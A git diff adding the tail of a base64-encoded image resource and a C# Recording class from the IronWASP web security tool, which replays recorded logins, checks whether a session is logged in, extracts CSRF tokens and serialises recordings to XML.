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 + + + \ No newline at end of file diff --git a/Iron/Recording/Recording.cs b/Iron/Recording/Recording.cs new file mode 100644 index 0000000..0939797 --- /dev/null +++ b/Iron/Recording/Recording.cs @@ -0,0 +1,795 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.IO; +using System.Xml; +using System.Threading; + +namespace IronWASP.Recording +{ + /* + public class Recording + { + string RecordingName = ""; + + List Steps = new List(); + + SessionRecordingType RecType = SessionRecordingType.Login; + + Analysis.LogAssociations Associations = null; + string Username = ""; + string Password = ""; + string CsrfParameterName = ""; + + /* + public Recording(SessionRecordingAnalysisResult Result, string RecName) + { + this.Steps = Result.Steps; + this.RecordingName = RecName; + } + + public Recording(Analysis.LogAssociations LogAssos, string Uname, string Pwd) + { + this.Associations = LogAssos; + this.Username = Uname; + this.Password = Pwd; + this.RecType = SessionRecordingType.Login; + } + + public Recording(Analysis.LogAssociations LogAssos, string CsrfParamName) + { + this.Associations = LogAssos; + this.CsrfParameterName = CsrfParamName; + this.RecType = SessionRecordingType.Csrf; + } + */ + /* + public string Name + { + get + { + return this.RecordingName; + } + } + + public SessionRecordingType RecordingType + { + get + { + return RecType; ; + } + } + + internal void SetName(string RecName) + { + this.RecordingName = RecName; + } + /* + public int StepCount + { + get + { + return Steps.Count; + } + } + + internal void AddStep(SessionRecordingStep Step) + { + lock (Steps) + { + this.Steps.Add(Step); + } + } + + internal void InsertStep(int StepId, SessionRecordingStep Step) + { + if (StepId > Steps.Count + 1 || StepId < 1) + { + throw new Exception(string.Format("Step id {0} is outside the range of available steps. Try a number between the range {1}-{2}", StepId, 1, Steps.Count + 1)); + } + lock (Steps) + { + this.Steps.Insert(StepId - 1, Step); + } + } + + public SessionRecordingStep GetStep(int StepId) + { + if (StepId > Steps.Count || StepId < 1) + { + throw new Exception(string.Format("No step with that id {0} is available. Try a number between the range {1}-{2}", StepId, 1, Steps.Count)); + } + return this.Steps[StepId - 1]; + } + + public void DeleteStep(int StepId) + { + if (StepId > Steps.Count || StepId < 1) + { + throw new Exception(string.Format("No step with that id {0} is available. Try a number between the range {1}-{2}", StepId, 1, Steps.Count)); + } + lock (Steps) + { + Steps.RemoveAt(StepId - 1); + } + } + + } + */ + //public class LoginRecording : Recording + public class Recording + { + static Dictionary LoadedRecordings = new Dictionary(); + + string RecordingName = ""; + + Analysis.LogAssociations LoginAssociations = null; + //Analysis.LogAssociations CsrfAssociations = null; + + Analysis.LogReplayAssociations LoginReplayAssociations = null; + + string Username = ""; + string Password = ""; + + string intCsrfParameterName = ""; + + Request LoginCheckRequest = null; + Response LoginCheckResponseWhenLoggedIn = null; + Response LoginCheckResponseWhenLoggedOut = null; + + internal int WorkflowId = 0; + + public CookieStore Cookies = new CookieStore(); + + Analysis.LogAssociation LoginRequestAsso = null; + + + //Thread synchronisation realted + //ManualResetEvent MSR = new ManualResetEvent(false); + bool MostRecentIsLoggedInResult = false; + string MostRecentCsrfTokenValue = ""; + Queue IsLoggedInQueue = new Queue(); + Queue DoLoginQueue = new Queue(); + Queue GetCsrfTokenQueue = new Queue(); + int ExecutingThreadId = 0; + + + public static void Add(Recording Rec) + { + if (LoadedRecordings.ContainsKey(Rec.RecordingName)) + { + throw new Exception("Recording with this name already exists"); + } + else + { + lock (LoadedRecordings) + { + LoadedRecordings[Rec.RecordingName] = Rec; + } + } + } + + internal static void ClearAll() + { + lock (LoadedRecordings) + { + LoadedRecordings.Clear(); + } + } + + public string CsrfParameterName + { + get + { + return this.intCsrfParameterName; + } + } + + public static List GetNames() + { + return new List(LoadedRecordings.Keys); + } + + public static bool Has(string Name) + { + return GetNames().Contains(Name); + } + + public static Recording Get(string Name) + { + if (LoadedRecordings.ContainsKey(Name)) + { + return LoadedRecordings[Name]; + } + else + { + return null; + } + } + + public static Recording FromXml(string Xml) + { + XmlDocument Xdoc = new XmlDocument(); + Xdoc.XmlResolver = null; + Xdoc.LoadXml(Xml); + + string Name = ""; + string Uname = ""; + string Passwd = ""; + string CsrfPara = ""; + List Sessions = new List(); + Request LoginChkReq = null; + Response ResWhenLoggedIn = null; + Response ResWhenLoggedOut = null; + + try + { + Name = Xdoc.SelectNodes("/xml/name")[0].InnerText; + } + catch{ throw new Exception("Invalid Recording, name field is missing!");} + try + { + Uname = Tools.Base64Decode(Xdoc.SelectNodes("/xml/username")[0].InnerText); + } + catch{ throw new Exception("Invalid Recording, username field is missing!");} + try + { + Passwd = Tools.Base64Decode(Xdoc.SelectNodes("/xml/password")[0].InnerText); + } + catch{ throw new Exception("Invalid Recording, password field is missing!");} + try + { + CsrfPara = Tools.Base64Decode(Xdoc.SelectNodes("/xml/csrf_token")[0].InnerText); + } + catch{ throw new Exception("Invalid Recording, CSRF token field is missing!");} + + try + { + foreach(XmlNode SessionNode in Xdoc.SelectNodes("/xml/sessions/session")) + { + int LogId = Int32.Parse(SessionNode.SelectNodes("log_id")[0].InnerText.Trim()); + Request Req = Request.FromBinaryString(SessionNode.SelectNodes("request")[0].InnerText.Trim()); + Response Res = Response.FromBinaryString(SessionNode.SelectNodes("response")[0].InnerText.Trim()); + Session Sess = new Session(LogId, Req, Res); + Sessions.Add(Sess); + } + }catch{throw new Exception("Invalid recording, logs are corrupted.");} + + try + { + LoginChkReq = Request.FromBinaryString(Xdoc.SelectNodes("/xml/login_check_request")[0].InnerText); + } + catch { throw new Exception("Invalid recording, Login Check Request is missing."); } + try + { + ResWhenLoggedIn = Response.FromBinaryString(Xdoc.SelectNodes("/xml/response_when_logged_in")[0].InnerText); + } + catch { throw new Exception("Invalid recording, Reference Response for logged in sessions is missing."); } + try + { + ResWhenLoggedOut = Response.FromBinaryString(Xdoc.SelectNodes("/xml/response_when_logged_out")[0].InnerText); + } + catch { throw new Exception("Invalid recording, Reference Response for logged out sessions is missing."); } + + Analysis.LogAnalyzer Analyzer = new Analysis.LogAnalyzer(); + Analysis.LogAssociations Assos = Analyzer.AnalyzeSessionsFromSameUa(Sessions); + Recording FromDb = new Recording(Assos, Uname, Passwd, CsrfPara); + FromDb.SetName(Name); + FromDb.LoginCheckRequest = LoginChkReq; + FromDb.LoginCheckResponseWhenLoggedIn = ResWhenLoggedIn; + FromDb.LoginCheckResponseWhenLoggedOut = ResWhenLoggedOut; + Analysis.LogAssociation LoginAsso = FromDb.LoginAssociations.GetLastAssociationWithParameterValues(new List() { FromDb.Username, FromDb.Password }); + if (LoginAsso == null) + { + throw new Exception("Invalid recording, unable to find login request in the login recording"); + } + FromDb.LoginRequestAsso = LoginAsso; + return FromDb; + } + + public string Name + { + get + { + return this.RecordingName; + } + } + + public Recording(Analysis.LogAssociations LoginLogAssos, string Uname, string Pwd, string CsrfParaName) + { + this.LoginAssociations = LoginLogAssos; + this.Username = Uname; + this.Password = Pwd; + this.intCsrfParameterName = CsrfParaName; + } + + public void SetName(string _Name) + { + this.RecordingName = _Name; + } + + public bool IsLoginRecordingReplayable() + { + try + { + FindLoggedInAndLoggedOutSampleResponses(); + return true; + } + catch + { + return false; + } + } + + public bool IsLoggedIn() + { + try + { + if (ExecutingThreadId == 0 || Thread.CurrentThread.ManagedThreadId == ExecutingThreadId) + { + ExecutingThreadId = Thread.CurrentThread.ManagedThreadId; + Response Res = SendLoginCheckRequest(); + MostRecentIsLoggedInResult = DoesLoginCheckResponseIndicateLoggedInStatus(Res); + ExecutingThreadId = 0; + ReleaseAllQueues(false); + } + else + { + ManualResetEvent MSR = new ManualResetEvent(false); + lock (IsLoggedInQueue) + { + IsLoggedInQueue.Enqueue(MSR); + } + MSR.WaitOne(); + return MostRecentIsLoggedInResult; + } + } + catch(Exception Exp) + { + ReleaseAllQueues(false); + throw Exp; + } + return MostRecentIsLoggedInResult; + } + + void ReleaseAllQueues(bool CalledFromDoLogin) + { + int DoLoginQueueCount = DoLoginQueue.Count; + lock (DoLoginQueue) + { + while (DoLoginQueue.Count > 0) + { + try + { + DoLoginQueue.Dequeue().Set(); + } + catch { } + } + } + //If DoLogin queue is not empty then don't release IsLoggedIn and GetCsrfToken queues until the DoLogin queue runs + //This way is user was logged out then DoLogin queue will relogin the user and after that these two queues can run and return + //And When the DoLogin method calls this method then release all queues + //If the IsLoggedIn method has return True in its last call then its safe to release all queues as user is already loggedin + //If the DoLogin queue is empty then these queues must be released so that the called calls the DoLogin method + if (DoLoginQueueCount == 0 || CalledFromDoLogin || MostRecentIsLoggedInResult) + { + lock (IsLoggedInQueue) + { + while (IsLoggedInQueue.Count > 0) + { + try + { + IsLoggedInQueue.Dequeue().Set(); + } + catch { } + } + } + lock (GetCsrfTokenQueue) + { + while (GetCsrfTokenQueue.Count > 0) + { + try + { + GetCsrfTokenQueue.Dequeue().Set(); + } + catch { } + } + } + } + } + + public bool DoLogin() + { + bool DoLoginResult = false; + try + { + if (ExecutingThreadId == 0 || Thread.CurrentThread.ManagedThreadId == ExecutingThreadId) + { + ExecutingThreadId = Thread.CurrentThread.ManagedThreadId; + Analysis.LogReplayer Replayer = new Analysis.LogReplayer(LoginAssociations); + LoginReplayAssociations = Replayer.Play(); + this.Cookies = LoginReplayAssociations.Cookies; + DoLoginResult = IsLoggedIn(); + GetCsrfToken(); + ExecutingThreadId = 0; + ReleaseAllQueues(true); + } + else + { + ManualResetEvent MSR = new ManualResetEvent(false); + lock (DoLoginQueue) + { + DoLoginQueue.Enqueue(MSR); + } + MSR.WaitOne(); + if (!MostRecentIsLoggedInResult) + { + return DoLogin(); + } + return DoLoginResult; + } + } + catch (Exception Exp) + { + ReleaseAllQueues(true); + throw Exp; + } + return DoLoginResult; + } + + Response SendLoginCheckRequest() + { + Request Req = LoginCheckRequest.GetClone(); + Req.Cookie.RemoveAll(); + Req.SetCookie(Cookies); + Req.SetSource("LoginCheck"); + Response Res = Req.Send(); + Cookies.Add(Req, Res); + return Res; + } + + bool DoesLoginCheckResponseIndicateLoggedInStatus(Response Res) + { + if (LoginCheckResponseWhenLoggedIn == null || LoginCheckResponseWhenLoggedOut == null) + { + FindLoggedInAndLoggedOutSampleResponses(); + } + + if (LoginCheckResponseWhenLoggedIn.Code != LoginCheckResponseWhenLoggedOut.Code) + { + if (Res.Code == LoginCheckResponseWhenLoggedIn.Code) + { + return true; + } + } + if (LoginCheckResponseWhenLoggedIn.IsRedirect && LoginCheckResponseWhenLoggedOut.IsRedirect) + { + if (Res.IsRedirect) + { + Request LoggedInRedirect = LoginCheckRequest.GetRedirect(LoginCheckResponseWhenLoggedIn); + Request LoggedOutRedirect = LoginCheckRequest.GetRedirect(LoginCheckResponseWhenLoggedOut); + if (!LoggedInRedirect.FullUrl.Equals(LoggedOutRedirect.FullUrl)) + { + Request CurrentRedirect = LoginCheckRequest.GetRedirect(Res); + if (CurrentRedirect.FullUrl.Equals(LoggedInRedirect.FullUrl)) + { + return true; + } + else if (CurrentRedirect.FullUrl.Equals(LoggedOutRedirect.FullUrl)) + { + return false; + } + } + else if(!LoggedInRedirect.UrlPath.Equals(LoggedOutRedirect.UrlPath)) + { + Request CurrentRedirect = LoginCheckRequest.GetRedirect(Res); + if (CurrentRedirect.UrlPath.Equals(LoggedInRedirect.UrlPath)) + { + return true; + } + else if (CurrentRedirect.UrlPath.Equals(LoggedOutRedirect.UrlPath)) + { + return false; + } + } + } + else + { + return false; + } + } + int LoggedOutPasswordFieldsCount = LoginCheckResponseWhenLoggedOut.Html.Get("input", "type", "password").Count; + if (LoggedOutPasswordFieldsCount > 0) + { + int LoggedInPasswordFieldsCount = LoginCheckResponseWhenLoggedIn.Html.Get("input", "type", "password").Count; + int ResPasswordFieldsCount = Res.Html.Get("input", "type", "password").Count; + if(ResPasswordFieldsCount == LoggedInPasswordFieldsCount) + { + if(ResPasswordFieldsCount == 0) return true; + } + } + return false; + } + + void FindLoggedInAndLoggedOutSampleResponses() + { + Analysis.LogAssociation LoginAsso = LoginAssociations.GetLastAssociationWithParameterValues(new List() { Username, Password }); + if (LoginAsso == null) + { + throw new Exception("Unable to find login request in the login recording"); + } + this.LoginRequestAsso = LoginAsso; + + Analysis.LogReplayer ValidCredsReplayer = new Analysis.LogReplayer(LoginAssociations); + Analysis.LogReplayAssociations ValidCredsAssociations = ValidCredsReplayer.Play(); + + Analysis.LogReplayer InvalidCredsReplayer = new Analysis.LogReplayer(LoginAssociations, UpdateLastLoginRequestWithInvalidCreds); + Analysis.LogReplayAssociations InValidCredsAssociations = InvalidCredsReplayer.Play(); + + //now compare ValidCredsAssociations and InvalidCredsAssociations and decide which one will be the LoginCheckRequest and also update the LoginCheckResponseWhenLoggedIn and LoginCheckResponseWhenLoggedOut values + List LoggedInCheckResponeCandidates = new List(); + List LoggedOutCheckResponeCandidates = new List(); + foreach (int i in ValidCredsAssociations.OriginalLogIds)// . FirstOriginalLogId; i <= ValidCredsAssociations.LastOriginalLogId; i++) + { + if (i <= LoginAsso.DestinationLog.LogId) continue;//We don't want to include the + + if (InValidCredsAssociations.HasOriginalLog(i)) + { + if (CanBeLoggedInLoggedOutResCandidate(ValidCredsAssociations.GetAssociationByOriginalId(i).ReplayAssociation, InValidCredsAssociations.GetAssociationByOriginalId(i).ReplayAssociation)) + { + LoggedInCheckResponeCandidates.Add(ValidCredsAssociations.GetAssociationByOriginalId(i).ReplayAssociation); + LoggedOutCheckResponeCandidates.Add(InValidCredsAssociations.GetAssociationByOriginalId(i).ReplayAssociation); + } + } + } + for (int i=0; i < LoggedInCheckResponeCandidates.Count; i++) + { + Analysis.LogAssociation InResCand = LoggedInCheckResponeCandidates[i]; + Analysis.LogAssociation OutResCand = LoggedOutCheckResponeCandidates[i]; + if (InResCand.DestinationLog.Request.Host.Equals(LoginAsso.DestinationLog.Request.Host)) + { + LoginCheckRequest = InResCand.DestinationLog.Request.GetClone(); + LoginCheckResponseWhenLoggedIn = InResCand.DestinationLog.Response.GetClone(); + LoginCheckResponseWhenLoggedOut = OutResCand.DestinationLog.Response.GetClone(); + break; + } + else if (!Tools.IsValidIpv4(InResCand.DestinationLog.Request.Host) && !Tools.IsValidIpv6(LoginAsso.DestinationLog.Request.Host)) + { + string[] InReqParts = InResCand.DestinationLog.Request.Host.Split('.'); + string[] LoginReqParts = LoginAsso.DestinationLog.Request.Host.Split('.'); + if (InReqParts.Length > 1 && LoginReqParts.Length > 1) + { + if (LoginReqParts[LoginReqParts.Length - 1].Equals(InReqParts[InReqParts.Length - 1]) && LoginReqParts[LoginReqParts.Length - 2].Equals(InReqParts[InReqParts.Length - 2])) + { + LoginCheckRequest = InResCand.DestinationLog.Request.GetClone(); + LoginCheckResponseWhenLoggedIn = InResCand.DestinationLog.Response.GetClone(); + LoginCheckResponseWhenLoggedOut = OutResCand.DestinationLog.Response.GetClone(); + break; + } + } + } + } + if (LoginCheckRequest == null || LoginCheckResponseWhenLoggedIn == null || LoginCheckResponseWhenLoggedOut == null) + { + if (LoggedInCheckResponeCandidates.Count > 0 && LoggedOutCheckResponeCandidates.Count > 0) + { + LoginCheckRequest = LoggedInCheckResponeCandidates[LoggedInCheckResponeCandidates.Count - 1].DestinationLog.Request.GetClone(); + LoginCheckResponseWhenLoggedIn = LoggedInCheckResponeCandidates[LoggedInCheckResponeCandidates.Count - 1].DestinationLog.Response.GetClone(); + LoginCheckResponseWhenLoggedOut = LoggedOutCheckResponeCandidates[LoggedOutCheckResponeCandidates.Count - 1].DestinationLog.Response.GetClone(); + } + } + if (LoginCheckRequest == null || LoginCheckResponseWhenLoggedIn == null || LoginCheckResponseWhenLoggedOut == null) + { + Request TestLoginCheckReq = LoginAsso.DestinationLog.Request.GetClone(); + TestLoginCheckReq.BodyString = ""; + TestLoginCheckReq.Method = "GET"; + TestLoginCheckReq.CookieString = ""; + if(TestLoginCheckReq.Url.Contains(Tools.UrlEncode(Username)) && TestLoginCheckReq.Url.Contains(Tools.UrlEncode(Password))) + { + TestLoginCheckReq.Query.RemoveAll(); + } + List LoggedInReses = new List(); + TestLoginCheckReq.SetSource("LoginCheck"); + TestLoginCheckReq.SetCookie(ValidCredsAssociations.Cookies); + Response LoggedInResCandidate = TestLoginCheckReq.Send(); + + TestLoginCheckReq.CookieString = ""; + TestLoginCheckReq.SetCookie(InValidCredsAssociations.Cookies); + Response LoggedOutResCandidate = TestLoginCheckReq.Send(); + + if (CanBeLoggedInLoggedOutResCandidate(LoggedInResCandidate, LoggedOutResCandidate)) + { + LoginCheckRequest = TestLoginCheckReq.GetClone(); + LoginCheckResponseWhenLoggedIn = LoggedInResCandidate.GetClone(); + LoginCheckResponseWhenLoggedOut = LoggedOutResCandidate.GetClone(); + } + } + if (LoginCheckRequest == null || LoginCheckResponseWhenLoggedIn == null || LoginCheckResponseWhenLoggedOut == null) + { + throw new Exception("Unable to find a suitable logged in status check response"); + } + } + + bool CanBeLoggedInLoggedOutResCandidate(Analysis.LogAssociation LoggedInAsso, Analysis.LogAssociation LoggedOutAsso) + { + if (!(LoggedInAsso.DestinationLog != null && LoggedOutAsso.DestinationLog != null && LoggedInAsso.DestinationLog.Response != null && LoggedOutAsso.DestinationLog.Response != null)) + { + return false; + } + return CanBeLoggedInLoggedOutResCandidate(LoggedInAsso.DestinationLog.Response, LoggedOutAsso.DestinationLog.Response); + } + + bool CanBeLoggedInLoggedOutResCandidate(Response LoggedInRes, Response LoggedOutRes) + { + if (LoggedInRes.Code == 304 || LoggedOutRes.Code == 304) + { + return false; + } + if (((LoggedInRes.Code == 302 || LoggedInRes.Code == 301) && LoggedOutRes.Code == 200) + || (LoggedInRes.Code == 200 && (LoggedOutRes.Code == 301 || LoggedOutRes.Code == 302))) + { + return true; + } + if (LoggedInRes.Html.Get("input", "type", "password").Count == 0 && LoggedOutRes.Html.Get("input", "type", "password").Count > 0) + { + return true; + } + return false; + } + + Request UpdateLastLoginRequestWithInvalidCreds(Request Req, Analysis.LogAssociation CorrespondingOriginalLogAssociation) + { + if (CorrespondingOriginalLogAssociation.DestinationLog.LogId == LoginRequestAsso.DestinationLog.LogId) + { + foreach (string Name in Req.Query.GetNames()) + { + List Vals = Req.Query.GetAll(Name); + for (int i = 0; i < Vals.Count; i++) + { + if (Vals[i] == Username || Vals[i] == Password) + { + Vals[i] = "XX" + Vals[i]; + } + } + Req.Query.Set(Name, Vals); + } + foreach (string Name in Req.Body.GetNames()) + { + List Vals = Req.Body.GetAll(Name); + for (int i = 0; i < Vals.Count; i++) + { + if (Vals[i] == Username || Vals[i] == Password) + { + Vals[i] = "XX" + Vals[i]; + } + } + Req.Body.Set(Name, Vals); + } + } + return Req; + } + + public string GetCsrfToken() + { + try + { + if (ExecutingThreadId == 0 || Thread.CurrentThread.ManagedThreadId == ExecutingThreadId) + { + ExecutingThreadId = Thread.CurrentThread.ManagedThreadId; + if (intCsrfParameterName.Length > 0 && LoginReplayAssociations != null) + { + List ReplayLogIds = LoginReplayAssociations.LogIds; + foreach (int ReplayLogId in ReplayLogIds) + { + Analysis.LogReplayAssociation Asso = LoginReplayAssociations.GetAssociation(ReplayLogId); + if (Asso.OriginalAssociation.DestinationLog.LogId >= LoginRequestAsso.DestinationLog.LogId) + { + if (Asso.ReplayAssociation.DestinationLog.Response != null) + { + List Values = Asso.ReplayAssociation.DestinationLog.Response.Html.GetValues("input", "name", intCsrfParameterName, "value"); + foreach (string Val in Values) + { + if (Val.Trim().Length > 0) + { + MostRecentCsrfTokenValue = Val; + } + } + } + } + } + } + ExecutingThreadId = 0; + ReleaseAllQueues(false); + } + else + { + ManualResetEvent MSR = new ManualResetEvent(false); + lock (GetCsrfTokenQueue) + { + GetCsrfTokenQueue.Enqueue(MSR); + } + MSR.WaitOne(); + return MostRecentCsrfTokenValue; + } + } + catch (Exception Exp) + { + ReleaseAllQueues(false); + throw Exp; + } + return MostRecentCsrfTokenValue; + } + + public string ToXml() + { + StringWriter SW = new StringWriter(); + XmlTextWriter XW = new XmlTextWriter(SW); + XW.Formatting = Formatting.Indented; + XW.WriteStartElement("xml"); + XW.WriteStartElement("version"); XW.WriteValue("1.0"); XW.WriteEndElement(); + XW.WriteStartElement("name"); XW.WriteValue(this.Name); XW.WriteEndElement(); + XW.WriteStartElement("username"); XW.WriteValue(Tools.Base64Encode(Username)); XW.WriteEndElement(); + XW.WriteStartElement("password"); XW.WriteValue(Tools.Base64Encode(Password)); XW.WriteEndElement(); + XW.WriteStartElement("csrf_token"); XW.WriteValue(Tools.Base64Encode(intCsrfParameterName)); XW.WriteEndElement(); + + XW.WriteStartElement("sessions"); + foreach (int LogId in LoginAssociations.LogIds) + { + try + { + Analysis.LogAssociation Asso = LoginAssociations.GetAssociation(LogId); + XW.WriteStartElement("session"); + XW.WriteStartElement("log_id"); XW.WriteValue(Asso.DestinationLog.LogId); XW.WriteEndElement(); + XW.WriteStartElement("request"); XW.WriteValue(Asso.DestinationLog.Request.ToBinaryString()); XW.WriteEndElement(); + XW.WriteStartElement("response"); XW.WriteValue(Asso.DestinationLog.Response.ToBinaryString()); XW.WriteEndElement(); + XW.WriteEndElement(); + } + catch { } + } + XW.WriteEndElement(); + + XW.WriteStartElement("login_check_request"); XW.WriteValue(LoginCheckRequest.ToBinaryString()); XW.WriteEndElement(); + XW.WriteStartElement("response_when_logged_in"); XW.WriteValue(LoginCheckResponseWhenLoggedIn.ToBinaryString()); XW.WriteEndElement(); + XW.WriteStartElement("response_when_logged_out"); XW.WriteValue(LoginCheckResponseWhenLoggedOut.ToBinaryString()); XW.WriteEndElement(); + + /* + XW.WriteStartElement("csrf_token_sessions"); + foreach (int LogId in CsrfAssociations.LogIds) + { + try + { + Analysis.LogAssociation Asso = LoginAssociations.GetAssociation(LogId); + XW.WriteStartElement("session"); + XW.WriteStartElement("log_id"); XW.WriteValue(Asso.DestinationLog.LogId); XW.WriteEndElement(); + XW.WriteStartElement("request"); XW.WriteValue(Asso.DestinationLog.Request.ToBinaryString()); XW.WriteEndElement(); + XW.WriteStartElement("response"); XW.WriteValue(Asso.DestinationLog.Response.ToBinaryString()); XW.WriteEndElement(); + XW.WriteEndElement(); + } + catch { } + } + XW.WriteEndElement(); + */ + XW.WriteEndElement(); + XW.Close(); + SW.Close(); + return SW.ToString().Trim(); + } + + public Workflow.Workflow ToWorkflow() + { + List LogIds = new List(); + //LoginAssociations.LogIds + Workflow.Workflow Flow = new Workflow.Workflow(LoginAssociations.LogIds, "Proxy", 